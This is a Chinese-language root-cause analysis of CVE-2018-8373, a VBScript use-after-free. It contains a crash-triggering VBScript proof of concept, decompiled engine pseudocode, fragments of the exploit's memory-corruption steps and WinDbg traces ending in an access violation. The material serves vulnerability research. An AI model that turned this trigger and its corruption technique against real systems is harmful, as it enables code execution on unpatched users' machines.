CVE-2018-8373初步分析
導致crash的exp
Class MyClass
Dim array()
Private Sub Class_Initialize
Redim array(2)
End Sub
Public Default Property Get P
Redim Preserve array(1)
End Property
End Class
Set cls=New MyClass
cls.array(2)=cls
觸發點分析
最後這行程式碼cls.array(2)=cls會呼叫NameTbl::InvokeEx
逆向結果顯示,NameTbl::InvokeEx接著會呼叫AccessArray和AssignVar,其中stackFor_ecx為導致棧分配接著寫入的傳遞值=ecx也就是AssignVar的edx的暫存器,如圖1
struct IEntryPoint *__stdcall NameTbl::InvokeEx(NameTbl *this, int a2, unsigned int a3, int a4, struct tagDISPPARAMS *a5, struct tagVARIANT *a6, struct tagEXCEPINFO *a7, struct IServiceProvider *a8)
{
省略部分....
else if ( ((_DWORD)v18->lpVtbl & 0xBFFF) == 8204 )
{
hr = (struct IEntryPoint *)AccessArray(
(VAR *)v18,
&stackFor_ecx,
(struct VAR **)(v30 - 1),
(struct VAR *)(*v29 + 16),
0 ,
v42,
v43);
if ( (signed int)v13 >= 0 )
//stackFor_ecx也就是edx的暫存器
hr = (struct IEntryPoint *)AssignVar(
(int)stackFor_ecx,
v45,
(struct CSession *)&pvarg,
v48,
v42,
(unsigned int)v43);
VarList::~VarList((VarList *)&v54);
}
....
}
HRESULT __userpurge [email protected]<eax>(VAR *[email protected]<edx>, _DWORD *stack@<ecx>, struct VAR **checkVar, struct VAR *varRef, int arrRetRef, struct VAR *a6, struct tagSAFEARRAY **a7)
{
struct VAR *varPtrType; // eax
SAFEARRAY *arrRet; // esi
struct VAR **v9; // eax
VAR *varNext; // ebx
int dataSizeOffset; // edi
struct VAR *vatType; // eax
int varDimCount; // eax
int DimSize; // eax
int dataSize; // edi
HRESULT result; // eax
int v17; // ecx
int v18; // ecx
struct VAR *v19; // [esp+0h] [ebp-34h]
const unsigned __int16 *v20; // [esp+4h] [ebp-30h]
int RetVal; // [esp+18h] [ebp-1Ch]
_DWORD *stackFor_ecx; // [esp+28h] [ebp-Ch]
SAFEARRAYBOUND *rgsaboundRef; // [esp+2Ch] [ebp-8h]
stackFor_ecx = stack;
varPtrType = VAR::PvarCutAll(varFrom);
// 如果是Array型別
if ( *(_WORD *)varPtrType == 8204 )
{
arrRet = (SAFEARRAY *)*((_DWORD *)varPtrType + 2);
}
else
{
if ( *(_WORD *)varPtrType != 24588 )
return -2147352571;
arrRet = (SAFEARRAY *)**((_DWORD **)varPtrType + 2);
}
if ( !arrRet )
return -2147352565;
v9 = (struct VAR **)arrRet->cDims;
if ( !(_WORD)v9 || v9 != checkVar )
return -2147352565;
result = SafeArrayLock(arrRet);
if ( result >= 0 )
{
varNext = varRef;
// 獲取第一個維度
rgsaboundRef = arrRet->rgsabound;
dataSizeOffset = 0;
while ( 1 )
{
vatType = VAR::PvarCutAll(varNext);
if ( *(_WORD *)vatType == 2 )
{
// 短整形
varDimCount = *((signed __int16 *)vatType + 4);
}
else if ( *(_WORD *)vatType == 3 )
{
// 長整形
varDimCount = *((_DWORD *)vatType + 2);
}
else
{
if ( rtVariantChangeTypeEx(
(struct tagVARIANT *)0x400,
(struct tagVARIANT *)2,
3u,
(unsigned __int16)v19,
(unsigned __int16)v20) < 0 )
{
SafeArrayUnlock(arrRet);
return CScriptRuntime::RecordHr(v18, v19, v20);
}
varDimCount = RetVal;
}
DimSize = varDimCount - rgsaboundRef->lLbound;
// 如果維度大小長度大於維度的元素個數
if ( DimSize < 0 || DimSize >= (signed int)rgsaboundRef->cElements )
{
SafeArrayUnlock(arrRet);
return CScriptRuntime::RecordHr(v17, v19, v20);
}
// 當前維度元素大小
dataSize = DimSize + dataSizeOffset;
checkVar = (struct VAR **)((char *)checkVar - 1);
if ( (signed int)checkVar <= 0 )
break;
++rgsaboundRef;
dataSizeOffset = rgsaboundRef->cElements * dataSize;
varNext = (VAR *)((char *)varNext + 16);
}
result = SafeArrayUnlock(arrRet);
if ( result >= 0 )
{
// 這裡datasize正好是0x10,stack是pvData區域的最後0x10空間
*stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;
if ( arrRetRef )
*(_DWORD *)arrRetRef = arrRet;
result = 0;
}
}
return result;
}
關於UAF寫入位置我的理解是array()預設的長度是1,也就是是佔用0x10位置空間, 通過NameTbl::InvokeEx->AccessArray->AssignVar,因為預設長度是1,所以AccessArray的stackFor_ecx分配0x10之後後面的空間都是???,實際上僅僅是分配了0x10後面沒有更多的空間後續分配,在SafeArrayRedim又將array的pvData長度變為array(2)的大小也就是3個元素*0x10=0x30,從地址空間的佈局可以看出這個0x30空間最後0x10空間正好是0ceaeff0也就是array()預設的長度1個元素所佔用的空間,由於RedimPreserveArray把這個空間給釋放了,導致實際上釋放後可重用的空間還是最初AccessArray申請的array()預設的長度1個元素所佔用的空間,最後cls.array(2)=cls呼叫AssignVar也是往這個地址空間寫入資料,因為申請的棧的位置還是AccessArray這裡申請的stackFor_ecx->edi,導致崩潰,所以在8373後面的程式碼
Set cls = New MyClass
array(2)=cls
//之後導致執行
For i = 0 To UBound(array2,2)
array2(0,i) = 3
Next
這個3值首先往申請的棧寫入
For i = 0 To UBound(array)
array(i) = array2
Next
這裡只是array的pvData賦值成array2,僅僅是引用,array2的pvData在它直接pvData指標指向的地址所以為實際寫入array的pvData
Public Default Property Get P
P=&h0fffffff
End Property
MyClass的p屬性需要往棧寫入值,通過AssignVar,所以導致array()預設的0x10空間在也就是RedimPreserveArray最後的0x10空間資料為3 和0fffffff
0:017> bp vbscript!RedimPreservearray
0:017> bp vbscript!AccessArray
0:017> bp vbscript!AssignVar
0:017> vbscript!AccessArray+0x1a2
0:007> g
Breakpoint 2 hit
eax=0bec0efc ebx=0beb6fe0 ecx=0beb4f88 edx=0bec0efc esi=685bcbd4 edi=057fbd84
eip=685b2f7a esp=057fbd78 ebp=057fbd94 iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
vbscript!AssignVar:
685b2f7a 8bff mov edi,edi
0:007> p
eax=0ceaeff0 ebx=00000002 ecx=057fb904 edx=00000002 esi=0c65afe8 edi=057fba48
eip=685c75c1 esp=057fb8b0 ebp=057fb8dc iopl=0 nv up ei pl nz na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200206
//對於之前逆向結果的程式碼*stackFor_ecx = (char *)arrRet->pvData + dataSize * arrRet->cbElements;
vbscript!AccessArray+0xa2:
685c75c1 8b4510 mov eax,dword ptr [ebp+10h] ss:0023:057fb8ec=00000000
0:007> dc ecx
//預設分配的空間地址指標
057fb904 0ceaeff0 057fb92c 00000001 0beb0fe8 ....,...........
057fb914 00000000 00000000 80020006 0beb4f88 .............O..
057fb924 0beb2fe0 0070af60 00000000 c0c0004a ./..`.p.....J...
057fb934 c0c0c0c0 0bf3efe8 c0c0c0c0 057fb95c ............\...
057fb944 696d58e3 0c964f98 057fb970 c0c0600c .Xmi.O..p....`..
057fb954 c0c0c0c0 0bf46f90 0c65afe8 685d89ce .....o....e...]h
057fb964 057fb9a4 685d9801 082d7fd0 00000003 ......]h..-.....
057fb974 00000409 00000004 057fb9f8 00000000 ................
//實際上僅僅是分配了0x10沒有多餘分配
0:007> dc 0ceaeff0
0ceaeff0 00000000 00000000 00000000 00000000 ................
0ceaf000 ???????? ???????? ???????? ???????? ????????????????
0ceaf010 ???????? ???????? ???????? ???????? ????????????????
0ceaf020 ???????? ???????? ???????? ???????? ????????????????
0ceaf030 ???????? ???????? ???????? ???????? ????????????????
0ceaf040 ???????? ???????? ???????? ???????? ????????????????
0ceaf050 ???????? ???????? ???????? ???????? ????????????????
0ceaf060 ???????? ???????? ???????? ???????? ????????????????
0:007> g
Breakpoint 0 hit
eax=0c65afe8 ebx=057fb4f8 ecx=0c65afe8 edx=00000001 esi=0bf46f84 edi=0bf16bf0
eip=685dd80c esp=057fb250 ebp=057fb48c iopl=0 nv up ei pl nz na po cy
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00200203
vbscript!RedimPreserveArray:
685dd80c 8bff mov edi,edi
0:007> dc 0c65afe8
//檢視陣列的長度是3
0c65afe8 08800001 00000010 00000000 0ceaefd0 ................
0c65aff8 00000003 00000000 ???????? ???????? ........????????
0c65b008 ???????? ???????? ???????? ???????? ????????????????
0c65b018 ???????? ???????? ???????? ???????? ????????????????
0c65b028 ???????? ???????? ???????? ???????? ????????????????
0c65b038 ???????? ???????? ???????? ???????? ????????????????
0c65b048 ???????? ???????? ???????? ???????? ????????????????
0c65b058 ???????? ???????? ???????? ???????? ????????????????
//pvData的空間被RedimPreserveArray撐大到0x30
0:007> dc 0ceaefd0
0ceaefd0 00000000 00000000 00000000 00000000 ................
0ceaefe0 00000000 00000000 00000000 00000000 ................
0ceaeff0 00000000 00000000 00000000 00000000 ................
0ceaf000 ???????? ???????? ???????? ???????? ????????????????
0ceaf010 ???????? ???????? ???????? ???????? ????????????????
0ceaf020 ???????? ???????? ???????? ???????? ????????????????
0ceaf030 ???????? ???????? ???????? ???????? ????????????????
0ceaf040 ???????? ???????? ???????? ???????? ????????????????
0:007> g
(f28.eb8): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=0ceaeff0 ecx=0ceaeff0 edx=0008001f esi=0ceaeff0 edi=057fb8d0
eip=685b217e esp=057fb898 ebp=057fb8a8 iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246
vbscript!VAR::Clear+0xe:
//導致實際上釋放後可重用的空間還是最初AccessArray申請的array()預設的長度1個元素所佔用的空間=0ceaeff0
685b217e 0fb703 movzx eax,word ptr [ebx] ds:0023:0ceaeff0=????